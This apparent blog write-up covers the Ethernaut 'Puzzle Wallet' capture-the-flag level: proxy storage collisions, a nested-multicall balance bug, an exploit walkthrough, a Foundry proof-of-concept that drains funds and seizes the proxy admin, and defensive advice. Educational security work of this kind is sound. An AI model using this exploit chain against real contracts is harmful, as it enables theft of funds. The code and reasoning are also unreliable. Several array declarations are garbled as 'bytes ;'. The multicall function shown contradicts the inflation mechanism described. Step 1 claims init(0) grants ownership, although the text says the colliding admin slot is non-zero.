nabilech.com

Ethernaut – Puzzle Wallet

Deep Dive into Storage Collisions, Multicall Exploitation, and Proxy Vulnerabilities

Introduction

Ethernaut, created by OpenZeppelin, is more than just a collection of Solidity puzzles. It is a security playground designed to replicate real-world vulnerabilities often found in decentralized applications. Among these challenges, Puzzle Wallet stands out as one of the more advanced levels because it brings together multiple layers of complexity:

  • Proxy and implementation contract interactions.
  • Subtle storage slot collisions due to delegatecall.
  • A cleverly hidden multicall bug that leads to misaccounted balances.

Unlike simpler levels where the exploit path is straightforward, Puzzle Wallet requires connecting several small but critical insights into one coherent strategy. It mimics mistakes that have appeared in real DeFi protocols, where multi-contract architectures and batching systems led to multimillion-dollar exploits.

This analysis aims to walk through the entire challenge with a strong technical focus. Each decision, each vulnerability, and each transaction will be broken down, showing how the attack unfolds step by step. The goal is not just to solve the level but to understand why the vulnerability exists and how similar issues arise in production systems.

The following sections will:

  • Deconstruct the Puzzle Wallet architecture.
  • Analyze the key vulnerabilities and their interactions.
  • Demonstrate an exploit walkthrough with a technical proof-of-concept.
  • Highlight security best practices and defensive measures.

This level serves as an opportunity to understand how small oversights—like improperly aligned storage slots or misused delegatecalls—can cascade into full compromise scenarios. It is a perfect case study for developers, auditors, and security researchers aiming to level up their understanding of proxy-based architectures.

Understanding the Puzzle Wallet Setup

Before exploring the vulnerabilities, it is crucial to understand the architecture of Puzzle Wallet. The challenge consists of two contracts:

  1. PuzzleProxy — the upgradeable proxy contract.
  2. PuzzleWallet — the implementation (logic) contract.

The proxy forwards all calls to the implementation using delegatecall, meaning that while the implementation’s code executes, any state modifications occur in the proxy’s storage. This design introduces both flexibility and risk.

1. Architecture Overview

The PuzzleProxy contract maintains two critical variables:

  • pendingAdmin — the address proposed to become the admin.
  • admin — the current admin address.

The PuzzleWallet implementation defines its own storage:

  • owner — expected to control wallet-level permissions.
  • maxBalance — the maximum allowed balance for the contract.
  • whitelisted — a mapping of allowed addresses.
  • balances — a mapping of tracked deposits per address.

Because delegatecall causes the implementation to write directly to the proxy’s storage, the layout between the two contracts becomes tightly coupled. However, these two contracts are not designed to share the same storage layout, creating a perfect environment for storage collisions.

2. Key Collision Points

Looking at the slot ordering:

  • In PuzzleProxy:
    • Slot 0 → pendingAdmin
    • Slot 1 → admin
  • In PuzzleWallet:
    • Slot 0 → owner
    • Slot 1 → maxBalance

This means:

  • Writing to owner in the logic actually writes to pendingAdmin in the proxy.
  • Writing to maxBalance in the logic actually writes to admin in the proxy.

This subtle overlap forms the basis of one of the core vulnerabilities exploited later.

3. Critical Functions

Several functions inside PuzzleWallet are central to the exploit path:

  • addToWhitelist(address) — grants whitelist privileges.
  • deposit() — credits msg.value to the caller’s balance.
  • execute(address,uint256,bytes) — withdraws ETH to a specified address.
  • multicall(bytes[]) — batches multiple function calls in a single transaction.
  • setMaxBalance(uint256) — sets the maximum allowed balance, but as a side effect, can overwrite the proxy’s admin.

Understanding how these functions interact, especially within multicall, is essential before diving into the vulnerabilities themselves.

Vulnerability Analysis

Puzzle Wallet’s exploitability comes from the interaction of two independent flaws. Each by itself seems harmless, but when combined, they open the door to a complete compromise.

1. Delegatecall and Storage Collisions

At the heart of this challenge is the use of delegatecall in the proxy. Delegatecall executes code in the context of the caller, meaning:

  • The implementation’s logic runs.
  • State writes affect the proxy’s storage.
  • msg.sender and msg.value remain unchanged.

This approach is common in upgradeable contract architectures, but in this case, the implementation (PuzzleWallet) and proxy (PuzzleProxy) are not aligned in their storage layouts.

As a result:

  • Setting owner in PuzzleWallet actually sets pendingAdmin in PuzzleProxy.
  • Setting maxBalance in PuzzleWallet actually overwrites admin in PuzzleProxy.

This storage misalignment provides a privilege escalation vector: gaining owner status in the logic contract indirectly grants control over the proxy’s pendingAdmin, and later, the admin itself.

2. Multicall Deposit Bug

The second vulnerability lies within the multicall(bytes[]) function. Its purpose is to allow batching multiple calls into a single transaction, improving efficiency. However, the implementation introduces a critical accounting flaw:

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
    uint256 startBalance = balances[msg.sender];

    for (uint256 i = 0; i < data.length; i++) {
        (bool ok,) = address(this).delegatecall(data[i]);
        require(ok, "delegatecall failed");
    }

    balances[msg.sender] = startBalance + msg.value;
}

Key observations:

  • start stores the balance before the batch executes.
  • Every function in data is executed via delegatecall, meaning nested calls are allowed.
  • After the loop, the balance is reset to start + msg.value.

If deposit() is included inside a nested multicall, the balances[msg.sender] mapping gets incremented multiple times before the final overwrite. This allows artificially inflating the recorded balance with a single msg.value.

3. Combining Both Vulnerabilities

Individually, these vulnerabilities are dangerous but limited:

  • Storage collision alone grants partial privilege escalation.
  • Multicall misaccounting alone enables draining funds if already whitelisted.

When combined, they form a complete attack chain:

  1. Exploit storage collision to gain owner privileges.
  2. Whitelist the attacker address.
  3. Abuse nested multicalls to inflate balances[msg.sender] without sending additional ETH.
  4. Drain all funds using execute().
  5. Overwrite the proxy’s admin via setMaxBalance, taking full control.

This layered exploit highlights why composability can introduce unexpected risks in DeFi systems, especially when batching, upgradeability, and privilege management intersect.

Threat Model and Attack Intuition

Before diving into the detailed exploit steps, it is important to understand the assumptions, goals, and strategic approach that frame the attack.

1. Attacker Assumptions
  • The attacker can interact with the proxy and call any function exposed via the fallback.
  • The attacker starts without administrative privileges.
  • Critical functions (deposit(), execute(), multicall()) are restricted to whitelisted addresses.
  • The attacker can send ETH along with transactions.
2. Objectives

The attack has four primary goals:

  1. Escalate privileges to gain owner status in the logic contract.
  2. Inflate the internal balance without depositing additional ETH.
  3. Drain the contract’s ETH funds.
  4. Gain full administrative control by overwriting the proxy’s admin slot.
3. Strategic Approach

The exploit leverages the two identified vulnerabilities in a coordinated manner:

  1. Privilege Escalation via Storage Collision
    • Writing to owner in the logic contract indirectly sets pendingAdmin in the proxy.
    • This enables the attacker to whitelist their own address.
  2. Balance Inflation via Nested Multicall
    • Recursive multicall calls allow inflating balances[msg.sender] without sending extra ETH.
  3. Draining Funds
    • Once balances are artificially increased, the attacker can call execute() to withdraw all ETH.
  4. Administrative Takeover
    • After draining funds, setMaxBalance() overwrites the proxy’s admin slot, consolidating full control.

This combination of vulnerabilities shows how minor design oversights in complex contract architectures can be chained into a complete system compromise.

Step-by-Step Exploit Walkthrough

With the vulnerabilities and threat model established, the exploit can be executed in a series of coordinated steps. Each step builds on the previous, ultimately allowing full control of the Puzzle Wallet and its proxy.

Step 1 — Exploit Storage Collision to Gain Owner Privileges

The first action leverages the misalignment between PuzzleWallet and PuzzleProxy storage slots. By calling the initialization function or writing to owner, the attacker sets the proxy’s pendingAdmin indirectly.

// Become the owner of the logic contract, indirectly updating pendingAdmin
puzzleWallet.init(0);  // sets owner => pendingAdmin in proxy

At this stage, the attacker can now interact with owner-restricted functions such as addToWhitelist().

Step 2 — Whitelist the Attacker Address

Using the newly acquired owner privileges, the attacker whitelists their own address to enable critical function access.

// Grant whitelist access to attacker
puzzleWallet.addToWhitelist(attackerAddress);
Step 3 — Inflate Balance via Nested Multicall

The attacker prepares a nested multicall payload to artificially increase their balance without sending additional ETH.

// Encode a simple deposit() call
bytes memory depositData = abi.encodeWithSignature("deposit()");

// Prepare nested multicall with one deposit
bytes ;  // inner array
inner[0] = depositData;
bytes memory innerCall = abi.encodeWithSignature("multicall(bytes[])", inner);

// Outer multicall payload containing first deposit and nested multicall
bytes ;  // outer array
outer[0] = depositData;
outer[1] = innerCall;

// Execute multicall: ETH sent once, balance credited multiple times
puzzleWallet.multicall{value: 0.001 ether}(outer);
Step 4 — Drain Funds with Execute

With the balance inflated, the attacker can withdraw all ETH from the contract using execute().

uint256 contractBalance = address(puzzleProxy).balance;
puzzleWallet.execute(attackerAddress, contractBalance, "");
Step 5 — Overwrite Proxy Admin via setMaxBalance

Finally, with the contract balance at zero, the attacker calls setMaxBalance() to overwrite the proxy’s admin slot, completing the takeover.

puzzleWallet.setMaxBalance(uint256(uint160(attackerAddress)));

At this point, the attacker has full control over both the logic and proxy contracts, demonstrating the full impact of combining storage collisions with the multicall bug.

Technical Proof-of-Concept

To solidify the exploit, a Foundry-based proof-of-concept demonstrates the attack in a reproducible and verifiable way. This section details each transaction with explanations for clarity.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface IPuzzleWallet {
    function init(uint256 _maxBalance) external;
    function addToWhitelist(address addr) external;
    function deposit() external payable;
    function multicall(bytes[] calldata data) external payable;
    function execute(address to, uint256 value, bytes calldata data) external;
    function setMaxBalance(uint256 _maxBalance) external;
}

contract PuzzleExploitTest is Test {
    IPuzzleWallet target;
    address attacker = address(this);

    function setUp() public {
        // Assume target is already deployed
        target = IPuzzleWallet(0x1111111111111111111111111111111111111111);
    }

    function testExploit() public {
        // Step 1: Become owner via storage collision
        target.init(0);

        // Step 2: Whitelist attacker address
        target.addToWhitelist(attacker);

        // Step 3: Prepare nested multicall
        bytes memory depositData = abi.encodeWithSignature("deposit()");
        bytes ;  // inner array
        inner[0] = depositData;
        bytes memory innerCall = abi.encodeWithSignature("multicall(bytes[])", inner);

        bytes ;  // outer array
        outer[0] = depositData;
        outer[1] = innerCall;

        // Execute multicall to inflate balance
        target.multicall{value: 0.001 ether}(outer);

        // Step 4: Drain funds
        uint256 bal = address(target).balance;
        target.execute(attacker, bal, "");

        // Step 5: Overwrite proxy admin
        target.setMaxBalance(uint256(uint160(attacker)));
    }

    receive() external payable {}
}

This test contract demonstrates a clean, end-to-end exploit path, reflecting the step-by-step strategy described previously. By running the test in a Foundry environment, the exploit is fully reproducible, validating both the vulnerability mechanics and the attack chain.

Security Best Practices and Defensive Measures

The Puzzle Wallet challenge provides several lessons for smart contract development and auditing. Understanding these principles can prevent similar vulnerabilities in real-world contracts.

1. Proper Storage Alignment
  • Upgradeable contracts must ensure that storage layouts between proxy and implementation are strictly aligned.
  • Any deviation can result in storage collisions, leading to unexpected privilege escalation or data corruption.
  • Use tools like OpenZeppelin’s upgradeable contract libraries to enforce safe layouts.
2. Multicall and Batch Function Caution
  • Batch operations can introduce subtle accounting issues if nested calls are allowed.
  • Always validate balances after each operation, rather than overwriting them at the end.
  • Consider restricting recursive calls or maintaining call depth checks to prevent exploitation.
3. Access Control and Whitelisting
  • Ensure owner or admin checks cannot be bypassed through indirect storage writes.
  • Avoid exposing sensitive functions to whitelisted users without strict verification.
  • Regularly audit access control modifiers and their interactions with upgradeable proxies.
4. Testing and Simulation
  • Simulate complex interactions with tools like Foundry, Hardhat, or Tenderly.
  • Test scenarios with nested calls, unusual call sequences, and upgradeable contract interactions.
  • Automated fuzz testing can uncover unexpected vulnerabilities in batch processing or delegatecall usage.
5. Final Thoughts

Puzzle Wallet demonstrates how multiple small oversights—storage misalignment and flawed batch accounting—can combine to allow full contract compromise. Comprehensive testing, strict access controls, and careful design of upgradeable proxies are essential to mitigate such risks.

Leave a Comment

Your email address will not be published. Required fields are marked *